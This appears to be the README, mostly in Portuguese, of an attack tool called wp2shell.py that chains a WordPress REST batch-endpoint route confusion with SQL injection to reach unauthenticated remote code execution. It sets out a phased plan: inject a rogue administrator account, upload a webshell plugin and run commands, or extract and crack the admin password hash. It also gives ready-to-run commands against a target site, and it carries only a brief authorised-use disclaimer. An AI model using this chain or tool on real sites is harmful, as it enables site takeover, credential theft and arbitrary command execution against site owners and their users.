
RCE não autenticado no núcleo do WordPress (CVE-2026-63030 + CVE-2026-60137)
Explore a confusão de rota da REST API do WordPress (CVE-2026-63030) + injeção de SQL (CVE-2026-60137) no endpoint de lote para obter Execução Remota de Código.
O endpoint de lote (/batch/v1) da REST API do WordPress não isola adequadamente o roteamento de requisições. Ao aninhar requisições de lote umas dentro das outras, um atacante pode fazer requisições internas que contornam as verificações normais de permissão do WordPress. O principal indicador é o padrão de erro parse_path_failed + block_cannot_read na resposta — isso confirma que a confusão de rota é explorável.
Quando uma requisição é roteada incorretamente pelo endpoint de lote, o parâmetro author_exclude em GET /wp/v2/posts não é devidamente sanitizado. Isso permite injeção de SQL por meio de consultas empilhadas e declarações UNION — tudo sem autenticação.
Phase 1: Probe
─────────────
Check batch endpoint reachable (HTTP 207)
Verify route confusion via marker requests
Confirm SQL injection via timing/oracle
Phase 2: UNION → RCE (fast path)
─────────────────────────────
If UNION injection works:
1. Detect table prefix (blind or brute-force common ones)
2. CREATE ADMIN USER via stacked UNION INSERT queries
- Bcrypt hash generated via PHP on attacker machine
- Insert row into {prefix}_users + {prefix}_usermeta
- New user gets administrator capabilities
3. Login + Deploy webshell as WordPress plugin
4. Execute commands via ?t=TOKEN&c=id
Phase 3: Blind → Hash (fallback path)
─────────────────────────────────
If UNION is blocked but blind SQLi works:
1. Extract MySQL version, user, database name
2. Extract table prefix from information_schema
3. Extract admin hash from {prefix}_users WHERE id=1
4. Crack offline: hashcat -m 3200 hash.txt wordlist.txt
5. Use --user / --pass --cmd id with cracked password
Phase 4: Credential login
──────────────────────
If --user/--pass provided:
1. Login via wp-login.php or REST API Basic Auth
2. Upload webshell as plugin
3. Execute commands
# Auto mode — check, UNION, create admin, deploy webshell
python3 wp2shell.py https://target.com
# With known credentials (e.g., after cracking hash)
python3 wp2shell.py https://target.com --user admin --pass P@ssw0rd --cmd id
# UNION only (skip blind fallback)
python3 wp2shell.py https://target.com --union-only
# Blind extraction only (skip UNION attempt)
python3 wp2shell.py https://target.com --blind-only
# Debug via proxy
python3 wp2shell.py https://target.com --proxy http://127.0.0.1:8080
# Custom SLEEP duration for time-based blind (default 0.01s)
python3 wp2shell.py https://target.com --sleep 0.5
Esta ferramenta é apenas para testes de segurança autorizados. Você deve ter permissão explícita do proprietário do alvo antes de usá-la. O acesso não autorizado a sistemas de computador é ilegal.
| Opção | Descrição |
|---|
--proxy | Proxy HTTP (ex.: Burp Suite) |
--user | Nome de usuário admin para login |
--pass | Senha do admin |
--cmd | Comando a executar no alvo |
--union-only | Ignorar extração cega |
--blind-only | Ignorar tentativa de UNION |
--sleep | Segundos de SLEEP para injeção cega baseada em tempo |